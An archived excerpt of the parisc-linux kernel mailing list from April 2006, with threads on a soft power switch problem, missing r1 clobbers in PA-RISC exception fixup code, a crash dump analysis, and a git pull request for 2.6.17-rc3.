MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1145610812.2A.67635.42.18204.52.42.007.582837036--



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "E." =?iso-8859-2?Q?Pavleti=E8?= <pavletic@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Soft power switch
Date: Fri, 21 Apr 2006 20:28:42 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1145644122.9676.10.camel__27552.87215482$1416624063$gmane$org@rupa.go.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624063 19058 80.91.229.3 (22 Nov 2014 02:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2006 18:28:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 21 Apr 2006 20:28:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E8C87D6F0;
	Fri, 21 Apr 2006 12:28:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17964-10; Fri, 21 Apr 2006 12:28:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE3017D704;
	Fri, 21 Apr 2006 12:28:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB0A17D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:28:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18110-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:28:44 -0600 (MDT)
Original-Received: from localhost (unknown [151.56.30.67])
	by free.linux.hp.com (Postfix) with SMTP id B5D987D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:28:43 -0600 (MDT)
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B0giLAAnTlIvsreQeGhrSVVGU2poZdlY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23601

Hi all,

I've a problem with the power switch on a HP 9000 D220 machine. Actually
I'm not able to shutdown the system cleanly when the power switch is
turned off.
It seems that the kernel is properly configured because dmesg outputs
the message "Soft power switch enabled, polling @ 0xf0140000" and in the
procfs file system there's an entry "soft-power"
(/proc/sys/kernel/soft-power) containing the value 1. When I turn the
switch off, the function deferred_poweroff(void *dummy) in
drivers/parisc/power.c is (correctly) called and on the console appears
the following message:

Broadcast message from root (pts/1) (Fri Apr 21 17:12:50 2006):
The system is going down for reboot NOW!

but immediately after that the power turns off. 
I've tried it both with a precompiled kernel
(kernel-image-2.6.8-3-32_2.6.8-6sarge2_hppa.deb) as with a kernel I've
compiled myself (kernel-source-2.6.8_2.6.8-16sarge2_all.deb). The result
is the same.

I've searched several mailing lists, but so far I've not found anything
helpful around. Has anyone already experienced something like this?

Thanks in advance.
Enzo

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Fri, 21 Apr 2006 13:52:40 -0500
Lines: 128
Approved: news@gmane.org
Message-ID: <200604211352.40519.mszick@morethan.org>
References: <119aab440604201009t2e5513c4n69b4a68477998768@mail.gmail.com>
	<200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
	<119aab440604201304g165a9218n885ef29fbfb7983b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624063 19061 80.91.229.3 (22 Nov 2014 02:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2006 18:53:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 21 Apr 2006 20:53:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05CDA7D71F;
	Fri, 21 Apr 2006 12:52:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18479-01; Fri, 21 Apr 2006 12:52:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9BF77D71A;
	Fri, 21 Apr 2006 12:52:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF93F7D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:52:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18110-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:52:43 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id E87377D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 12:52:42 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3LIqibX059258
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 11:52:44 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.66.151] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id hPF0DUL2
	authenticated by SMTP; Fri, 21 Apr 2006 11:52:43 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <119aab440604201304g165a9218n885ef29fbfb7983b@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IlB8LB1SZDI47rHGdWY2OGRxemhmY8FA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23602

On Thu April 20 2006 15:04, Carlos O'Donell wrote:
> parisc,
>

Some 'deep background' since the thread Joel and I are discussing
is nearly a month old now.
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028603.html
 
> Cat's out of the bag, even Dave seems interested. Randolph, tell me
> when I'm wrong. I did a review of this code for Randolph when he
> implemented the first iteration.
> 
> > > Q: Does the process of interruption clobber registers?
> > r8 and r9?
> 
> Normally no, these are shadowed registers. However see below.
> 

The relevant part of the dump:

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001010e728 000000001010e718
 IIR: 0f48109c    ISR: 0000000000000080  IOR: 0000000000000002
 CPU:        0   CR30: 000000008b1bc000 CR31: 000000001053c000
 ORIG_R28: 000000001013f77c
 IAOQ[0]: _read_lock+0x18/0x30
 IAOQ[1]: _read_lock+0x8/0x30
 RP(r2): send_group_sig_info+0x3c/0xb0

Note the values of IAOQ...

I told Joel that the only way I knew of they could look like that
was a branch in the delay slot of a branch.

Which is a neat way to execute one instruction out of linear, sequential
order, but that I did not believe the compiler used that trick.
I.E:
It was either hand coded that way or a sign of something wrong.
[I might have told Joel wrong - if so, sorry Joel]

I did not think of the possibility of the queue being diddled with, using
the trashed value of a register.

I mention this at this time, so eyes can be watching for this 'back to
the future' execution order after this set of fixes goes in.

Mike

> Routines used reside in:
> ~~~~~~~~~~~~~~~~~~
> kernel/entry.S
> kernel/traps.c
> mm/fault.c
> 
> Exception Stages:
> ~~~~~~~~~~~~~~~
> Exception happens.
> Trap handler executes.
> We don't handle the exception in assembly?
> Shadow registers are not enough to execute C code.
> All registers saved.
> Load or Store has an exception table entry "fixup" in the kernel.
> iaoq[0] and iaoq[1] are set to the address of the fixup.
> gr[0] has the B-bit zeroed.
> When the interrupt returns you execute the fixup function.
> 
> A: The process of interruption does not clobber any registers.
> Corollory: The process of fixup uses r8/r9 as outputs, with r1 clobbered.
> 
> A: The fixups run in the original context of the failed load/store.
> 
> Generic Fixup Functions
> ~~~~~~~~~~~~~~~~~~~
> There are 4 generic fixup functions:
> The first 2 correspond to failed loads.
> The second 2 correspond to failed stores.
> There is also a FIXUP_BRANCH in the emulation routines.
> 
> arch/parisc/lib/fixup.S
> fixup_get_user_skip1  (Skip 1 word, used in 32-bit mode)
> fixup_get_user_skip2  (Skip 2 words, used in 64-bit mode)
> fixup_put_user_skip1  ( " )
> fixup_put_user_skip2  ( " )
> 
> The macro "get_fault_ip" is used by each of the 4 generic
> fixups and clobbers both inputs and r1.
> 
> The registers used for each of the following functions:
> r8 - Stores return value / Used as temp in get_fault_ip
> r9 - Returned value (We don't want to clobber ret0)
> r1 - Used as temp to load fault ip + 4/8, Used as temp in get_fault_ip.
> 
> All of the put get asm routines should list "r1" as a clobber.
> All of the put get asm routines already list r8 and r9 as outputs.
> 
> Joel is correct in saying that there is a __put_kernel_asm for 64-bit
> mode which is missing an r1 clobber. However, you need to know why
> you are correct and understand the repercussions of the change.
> 
> All of the routines using FIXUP_BRANCH must specify "r1" clobbered.
> 
> Caveats:
> - The fixup routines read the exception tables but don't list that
>   memory as an input. Hence mixing put and get user/kernel
>   calls and modifications to the exception tables is dangerous?
> 
> Summary:
> - Add the missing "r1" clobber to the 64-bit put kernel macro.
>   Run a boot test. Post a patch including the result of the boot test.
> 
> - Add the missing "r1" clobbers to any asm using FIXUP_BRANCH.
>   Run a boot test. Post a pach including the result of the boot test.
> 
> Thanks!
> 
> Cheers,
> Carlos.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Fri, 21 Apr 2006 16:30:08 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200604212030.k3LKU8Fh003614@hiauly1.hia.nrc.ca>
References: <200604212013.k3LKDAbx003500@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624063 19064 80.91.229.3 (22 Nov 2014 02:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2006 20:30:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 21 Apr 2006 22:30:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E14A7D72C;
	Fri, 21 Apr 2006 14:30:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19397-03; Fri, 21 Apr 2006 14:30:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76FAC7D72D;
	Fri, 21 Apr 2006 14:30:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 244D27D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 14:30:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18978-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 14:30:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 31D477D692
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 14:30:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3LKU9aS003615;
	Fri, 21 Apr 2006 16:30:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3LKU8Fh003614;
	Fri, 21 Apr 2006 16:30:08 -0400 (EDT)
In-Reply-To: <200604212013.k3LKDAbx003500@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 21, 2006 04:13:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5Hh/DT8oQEVs4OjDZnVpSktKNzg2NULg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23603

>     101112c4:   e8 1f 1f df     b,l,n 101112b8 <_read_lock+0x8>,r0
>     101112c8:   0f 48 10 9c     ldw 4(r26),ret0  <== exception here
> 
> r26 contains 0x105d62a8 according to Joel's message.  There isn't
> a branch in the delay slot.  The exception just occurs in the delay
> slot of a branch.  It's not obvious to me what caused the exception.

Correction, r26 contained 0x000000001051d040.  I also just noticed
that the branch is nullified (N=1 in PSW).  Just guessing, but I think
this is a timer interruption (soft lockup).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] please pull on parisc tree
Date: Fri, 21 Apr 2006 20:01:09 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <20060422000109.GA10514@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624064 19068 80.91.229.3 (22 Nov 2014 02:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:04 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 00:01:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 22 Apr 2006 02:01:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 946EA7D729;
	Fri, 21 Apr 2006 18:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20807-06; Fri, 21 Apr 2006 18:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D1DF7D724;
	Fri, 21 Apr 2006 18:01:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CCEF7D721
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 18:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20807-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 18:01:39 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 31C277D720
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 18:01:39 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EE2045840A8;
	Fri, 21 Apr 2006 20:01:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 433125840A2;
	Fri, 21 Apr 2006 20:01:37 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C8D9223E83;
	Fri, 21 Apr 2006 20:01:36 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04837-09; Fri, 21 Apr 2006 20:01:36 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 454F423E82;
	Fri, 21 Apr 2006 20:01:36 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 73C7F3B04F; Fri, 21 Apr 2006 20:01:09 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WkB7d0RYPTRt7OjGPjIwMzIxc2tpZIv1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23604

Hi Linus,

Not a whole lot of change here so I think it is appropriate for 2.6.17-rc3.
The biggest diff here is catching up with the syscall additions, and making
ioremap default to _nocache behaviour so more drivers work. The multiple
page size code is mostly replacing hardcoded values with #defines where
appropriate, and is well tested by Helge.

Cheers,
	Kyle

The following changes since commit f4ffaa452e71495a06376f12f772342bc57051fc:
are found in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Grant Grundler:
      [PARISC] Document that we tolerate "Relaxed Ordering"

Helge Deller:
      [PARISC] EISA regions must be mapped NO_CACHE
      [PARISC] Misc. janitorial work
      [PARISC] defconfig updates
      [PARISC] Further work for multiple page sizes

Kyle McMartin:
      [PARISC] Add new entries to the syscall table
      [PARISC] Make ioremap default to _nocache
      [PARISC] MAINTAINERS

Matthew Wilcox:
      [PARISC] Fix up hil_kbd.c mismerge

Stuart Brady:
      [PARISC] OSS ad1889: Match register names with ALSA driver

 MAINTAINERS                        |    4 
 arch/parisc/Kconfig                |   31 ++
 arch/parisc/defconfig              |  494 +++++++++++++++++++++++-------------
 arch/parisc/kernel/asm-offsets.c   |    3 
 arch/parisc/kernel/cache.c         |    4 
 arch/parisc/kernel/entry.S         |   36 ++-
 arch/parisc/kernel/head.S          |   15 +
 arch/parisc/kernel/init_task.c     |   10 -
 arch/parisc/kernel/pacache.S       |   25 +-
 arch/parisc/kernel/sys_parisc.c    |    8 +
 arch/parisc/kernel/syscall.S       |   10 -
 arch/parisc/kernel/syscall_table.S |    8 +
 arch/parisc/kernel/vmlinux.lds.S   |   54 ++--
 arch/parisc/mm/fault.c             |    2 
 arch/parisc/mm/init.c              |   28 +-
 arch/parisc/mm/ioremap.c           |    3 
 drivers/input/keyboard/hil_kbd.c   |    2 
 drivers/parisc/pdc_stable.c        |    2 
 drivers/parisc/sba_iommu.c         |   43 ++-
 drivers/parisc/superio.c           |    4 
 include/asm-parisc/io.h            |   17 -
 include/asm-parisc/page.h          |   25 ++
 include/asm-parisc/pgtable.h       |   63 +++--
 include/asm-parisc/unistd.h        |    8 +
 sound/oss/ad1889.c                 |  198 +++++++-------
 sound/oss/ad1889.h                 |  101 ++++---
 26 files changed, 734 insertions(+), 464 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
	broken on HPPA
Date: Sat, 22 Apr 2006 19:00:57 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <17482.24905.713197.434153__37152.3373447873$1416624064$gmane$org@gargle.gargle.HOWL>
References: <17481.57988.932528.963398@gargle.gargle.HOWL>
	<200604221558.k3MFwOIs010589@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624064 19070 80.91.229.3 (22 Nov 2014 02:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:04 +0000 (UTC)
Cc: steven.robbins@videotron.ca,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 364231@bugs.debian.org
